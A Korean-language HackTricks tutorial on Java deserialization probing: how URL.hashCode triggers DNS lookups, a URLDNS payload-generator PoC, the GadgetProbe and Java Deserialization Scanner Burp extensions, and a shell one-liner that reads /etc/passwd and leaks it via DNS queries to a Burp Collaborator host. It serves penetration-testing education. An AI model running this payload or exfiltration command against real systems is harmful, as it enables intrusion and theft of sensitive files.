Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner

Tip

AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:HackTricks Training AWS Red Team Expert (ARTE)
GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training GCP Red Team Expert (GRTE) Azure ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks μ§€μ›ν•˜κΈ°

DNS μš”μ²­ 및 역직렬화

클래슀 java.net.URLλŠ” Serializable을 κ΅¬ν˜„ν•©λ‹ˆλ‹€. μ΄λŠ” 이 ν΄λž˜μŠ€κ°€ 직렬화될 수 μžˆμŒμ„ μ˜λ―Έν•©λ‹ˆλ‹€.

public final class URL implements java.io.Serializable {

이 ν΄λž˜μŠ€λŠ” ν˜ΈκΈ°μ‹¬ λ§Žμ€ λ™μž‘μ„ κ°€μ§€κ³  μžˆμŠ΅λ‹ˆλ‹€. λ¬Έμ„œμ—μ„œ: β€œλ‘ ν˜ΈμŠ€νŠΈλŠ” 두 호슀트 이름이 λ™μΌν•œ IP μ£Όμ†Œλ‘œ 확인될 수 μžˆλŠ” 경우 λ™λ“±ν•œ κ²ƒμœΌλ‘œ κ°„μ£Όλ©λ‹ˆλ‹€.”
λ”°λΌμ„œ, URL 객체가 equals λ˜λŠ” **hashCode**의 μ–΄λ–€ ν•¨μˆ˜λ₯Ό ν˜ΈμΆœν•  λ•Œλ§ˆλ‹€ IP μ£Όμ†Œλ₯Ό μ–»κΈ° μœ„ν•œ DNS μš”μ²­μ΄ μ „μ†‘λ©λ‹ˆλ‹€.

URL κ°μ²΄μ—μ„œ hashCode ν•¨μˆ˜λ₯Ό ν˜ΈμΆœν•˜λŠ” 것은 μƒλ‹Ήνžˆ μ‰½μŠ΅λ‹ˆλ‹€. 이 객체λ₯Ό 역직렬화될 HashMap에 μ‚½μž…ν•˜κΈ°λ§Œ ν•˜λ©΄ λ©λ‹ˆλ‹€. μ΄λŠ” HashMap의 readObject ν•¨μˆ˜μ˜ λμ—μ„œ 이 μ½”λ“œκ°€ μ‹€ν–‰λ˜κΈ° λ•Œλ¬Έμž…λ‹ˆλ‹€:

private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
[   ...   ]
for (int i = 0; i < mappings; i++) {
[   ...   ]
putVal(hash(key), key, value, false, false);
}

λͺ¨λ“  값에 λŒ€ν•΄ HashMap λ‚΄λΆ€μ˜ putVal을 μ‹€ν–‰ν•  κ²ƒμž…λ‹ˆλ‹€. κ·ΈλŸ¬λ‚˜ 더 μ€‘μš”ν•œ 것은 λͺ¨λ“  값에 λŒ€ν•΄ hashλ₯Ό ν˜ΈμΆœν•˜λŠ” κ²ƒμž…λ‹ˆλ‹€. 이것은 hash ν•¨μˆ˜μ˜ μ½”λ“œμž…λ‹ˆλ‹€:

static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

κ΄€μ°°ν•  수 μžˆλ“―μ΄, 역직렬화할 λ•Œ **HashMap**의 ν•¨μˆ˜ hashλŠ” λͺ¨λ“  객체에 λŒ€ν•΄ μ‹€ν–‰λ©λ‹ˆλ‹€ 그리고 hash μ‹€ν–‰ 쀑에 객체의 .hashCode()κ°€ μ‹€ν–‰λ©λ‹ˆλ‹€. λ”°λΌμ„œ URL 객체λ₯Ό ν¬ν•¨ν•˜λŠ” **HashMap**을 μ—­μ§λ ¬ν™”ν•˜λ©΄, URL κ°μ²΄λŠ” .hashCode()λ₯Ό μ‹€ν–‰ν•©λ‹ˆλ‹€.

이제 URLObject.hashCode()의 μ½”λ“œλ₯Ό μ‚΄νŽ΄λ³΄κ² μŠ΅λ‹ˆλ‹€:

public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;

λ³΄μ‹œλ‹€μ‹œν”Ό, URLObjectκ°€ .hashCode()λ₯Ό μ‹€ν–‰ν•  λ•Œ hashCode(this)κ°€ ν˜ΈμΆœλ©λ‹ˆλ‹€. 이 ν•¨μˆ˜μ˜ μ½”λ“œλ₯Ό κ³„μ†ν•΄μ„œ λ³Ό 수 μžˆμŠ΅λ‹ˆλ‹€:

protected int hashCode(URL u) {
int h = 0;

// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();

// Generate the host part.
InetAddress addr = getHostAddress(u);
[   ...   ]

getHostAddressκ°€ 도메인에 λŒ€ν•΄ μ‹€ν–‰λ˜μ–΄ DNS 쿼리가 μ‹œμž‘λ˜λŠ” 것을 λ³Ό 수 μžˆμŠ΅λ‹ˆλ‹€.

λ”°λΌμ„œ 이 ν΄λž˜μŠ€λŠ” 역직렬화가 κ°€λŠ₯ν•˜λ‹€λŠ” 것을 증λͺ…ν•˜κΈ° μœ„ν•΄ DNS 쿼리λ₯Ό μ‹œμž‘ν•˜κ±°λ‚˜, 심지어 정보λ₯Ό μœ μΆœν•˜κΈ° μœ„ν•΄ μ•…μš©λ  수 μžˆμŠ΅λ‹ˆλ‹€(λͺ…λ Ή μ‹€ν–‰μ˜ 좜λ ₯을 μ„œλΈŒλ„λ©”μΈμœΌλ‘œ μΆ”κ°€ν•  수 μžˆμŠ΅λ‹ˆλ‹€).

URLDNS νŽ˜μ΄λ‘œλ“œ μ½”λ“œ 예제

μ—¬κΈ°μ—μ„œ ysoserial의 URDNS νŽ˜μ΄λ‘œλ“œ μ½”λ“œλ₯Ό 찾을 수 μžˆμŠ΅λ‹ˆλ‹€. κ·ΈλŸ¬λ‚˜ 코딩을 μ΄ν•΄ν•˜κΈ° μ‰½κ²Œ ν•˜κΈ° μœ„ν•΄ ysoserial의 것을 기반으둜 λ‚˜λ§Œμ˜ PoCλ₯Ό λ§Œλ“€μ—ˆμŠ΅λ‹ˆλ‹€:

import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;

public class URLDNS {
public static void GeneratePayload(Object instance, String file)
throws Exception {
//Serialize the constructed payload and write it to the file
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//Read the written payload and deserialize it
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}

public static void main(final String[] args) throws Exception {
String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net";
HashMap ht = new HashMap(); // HashMap that will contain the URL
URLStreamHandler handler = new SilentURLStreamHandler();
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

// During the put above, the URL's hashCode is calculated and cached.
// This resets that so the next time hashCode is called a DNS lookup will be triggered.
final Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u, -1);

//Test the payloads
GeneratePayload(ht, "C:\\Users\\Public\\payload.serial");
}
}


class SilentURLStreamHandler extends URLStreamHandler {

protected URLConnection openConnection(URL u) throws IOException {
return null;
}

protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}

μΆ”κ°€ 정보

GadgetProbe

GadgetProbeλ₯Ό Burp Suite App Store (Extender)μ—μ„œ λ‹€μš΄λ‘œλ“œν•  수 μžˆμŠ΅λ‹ˆλ‹€.

GadgetProbeλŠ” μ„œλ²„μ˜ Java ν΄λž˜μŠ€μ— 일뢀 Java ν΄λž˜μŠ€κ°€ μ‘΄μž¬ν•˜λŠ”μ§€ ν™•μΈν•˜μ—¬ μ·¨μ•½ν•œμ§€ μ•Œ 수 μžˆλ„λ‘ ν•©λ‹ˆλ‹€.

μž‘λ™ 방식

GadgetProbeλŠ” 이전 μ„Ήμ…˜μ˜ DNS νŽ˜μ΄λ‘œλ“œλ₯Ό μ‚¬μš©ν•˜μ§€λ§Œ DNS 쿼리λ₯Ό μ‹€ν–‰ν•˜κΈ° 전에 μž„μ˜μ˜ 클래슀λ₯Ό μ—­μ§λ ¬ν™”ν•˜λ €κ³  μ‹œλ„ν•©λ‹ˆλ‹€. μž„μ˜μ˜ ν΄λž˜μŠ€κ°€ μ‘΄μž¬ν•˜λ©΄, DNS 쿼리가 μ „μ†‘λ˜κ³  GadgetProbeλŠ” 이 ν΄λž˜μŠ€κ°€ μ‘΄μž¬ν•¨μ„ κΈ°λ‘ν•©λ‹ˆλ‹€. DNS μš”μ²­μ΄ κ²°μ½” μ „μ†‘λ˜μ§€ μ•ŠμœΌλ©΄, μ΄λŠ” μž„μ˜μ˜ ν΄λž˜μŠ€κ°€ μ„±κ³΅μ μœΌλ‘œ μ—­μ§λ ¬ν™”λ˜μ§€ μ•Šμ•˜μŒμ„ μ˜λ―Έν•˜λ―€λ‘œ, ν΄λž˜μŠ€κ°€ μ‘΄μž¬ν•˜μ§€ μ•Šκ±°λ‚˜ 직렬화할 수 μ—†κ±°λ‚˜/μ•…μš©ν•  수 μ—†μŒμ„ λ‚˜νƒ€λƒ…λ‹ˆλ‹€.

GitHub λ‚΄μ—μ„œ, GadgetProbeμ—λŠ” ν…ŒμŠ€νŠΈν•  Java ν΄λž˜μŠ€κ°€ ν¬ν•¨λœ 단어 λͺ©λ‘μ΄ μžˆμŠ΅λ‹ˆλ‹€.

https://github.com/BishopFox/GadgetProbe/blob/master/assets/intruder4.gif

μΆ”κ°€ 정보

Java 역직렬화 μŠ€μΊλ„ˆ

이 μŠ€μΊλ„ˆλŠ” Burp App Store (Extender)μ—μ„œ λ‹€μš΄λ‘œλ“œν•  수 μžˆμŠ΅λ‹ˆλ‹€.
ν™•μž₯은 μˆ˜λ™ 및 λŠ₯동 κΈ°λŠ₯을 κ°€μ§€κ³  μžˆμŠ΅λ‹ˆλ‹€.

μˆ˜λ™

기본적으둜 λͺ¨λ“  μš”μ²­κ³Ό 응닡을 μˆ˜λ™μœΌλ‘œ ν™•μΈν•˜μ—¬ Java 직렬화 λ§ˆλ²• λ°”μ΄νŠΈλ₯Ό μ°Ύκ³ , 발견된 경우 μ·¨μ•½μ„± κ²½κ³ λ₯Ό ν‘œμ‹œν•©λ‹ˆλ‹€:

https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/

λŠ₯동

μˆ˜λ™ ν…ŒμŠ€νŠΈ

μš”μ²­μ„ μ„ νƒν•˜κ³  마우슀 였λ₯Έμͺ½ λ²„νŠΌμ„ ν΄λ¦­ν•œ ν›„ Send request to DS - Manual Testing을 선택할 수 μžˆμŠ΅λ‹ˆλ‹€.
그런 λ‹€μŒ, Deserialization Scanner Tab –> _Manual testing tab_μ—μ„œ μ‚½μž… 지점을 μ„ νƒν•˜κ³  ν…ŒμŠ€νŠΈλ₯Ό μ‹œμž‘ν•©λ‹ˆλ‹€ (μ‚¬μš©λœ 인코딩에 따라 μ μ ˆν•œ 곡격을 선택).

https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/

이것이 β€œμˆ˜λ™ ν…ŒμŠ€νŠΈβ€œλΌκ³  λΆˆλ¦¬μ§€λ§Œ, μƒλ‹Ήνžˆ μžλ™ν™”λ˜μ–΄ μžˆμŠ΅λ‹ˆλ‹€. 역직렬화가 μ–΄λ–€ ysoserial νŽ˜μ΄λ‘œλ“œμ— μ·¨μ•½ν•œμ§€ μžλ™μœΌλ‘œ ν™•μΈν•˜κ³ , μ›Ή μ„œλ²„μ— μ‘΄μž¬ν•˜λŠ” 라이브러리λ₯Ό κ²€μ‚¬ν•˜μ—¬ μ·¨μ•½ν•œ 라이브러리λ₯Ό κ°•μ‘° ν‘œμ‹œν•©λ‹ˆλ‹€. μ·¨μ•½ν•œ 라이브러리λ₯Ό ν™•μΈν•˜κΈ° μœ„ν•΄ Javas Sleeps, CPU μ†ŒλΉ„λ₯Ό ν†΅ν•œ 슬립, λ˜λŠ” 이전에 μ–ΈκΈ‰λœ DNSλ₯Ό μ‚¬μš©ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

μ•…μš©

μ·¨μ•½ν•œ 라이브러리λ₯Ό μ‹λ³„ν•œ ν›„, μš”μ²­μ„ _Exploiting Tab_으둜 보낼 수 μžˆμŠ΅λ‹ˆλ‹€.
이 νƒ­μ—μ„œ μ£Όμž… 지점을 λ‹€μ‹œ μ„ νƒν•˜κ³ , νŽ˜μ΄λ‘œλ“œλ₯Ό 생성할 μ·¨μ•½ν•œ λΌμ΄λΈŒλŸ¬λ¦¬μ™€ λͺ…λ Ήμ–΄λ₯Ό μž‘μ„±ν•΄μ•Ό ν•©λ‹ˆλ‹€. 그런 λ‹€μŒ, μ μ ˆν•œ 곡격 λ²„νŠΌμ„ λˆ„λ¦…λ‹ˆλ‹€.

https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/

Java 역직렬화 DNS 유좜 정보

νŽ˜μ΄λ‘œλ“œκ°€ λ‹€μŒκ³Ό 같은 μž‘μ—…μ„ μˆ˜ν–‰ν•˜λ„λ‘ λ§Œλ“œμ„Έμš”:

(i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done)

μΆ”κ°€ 정보

Tip

AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:HackTricks Training AWS Red Team Expert (ARTE)
GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training GCP Red Team Expert (GRTE) Azure ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks μ§€μ›ν•˜κΈ°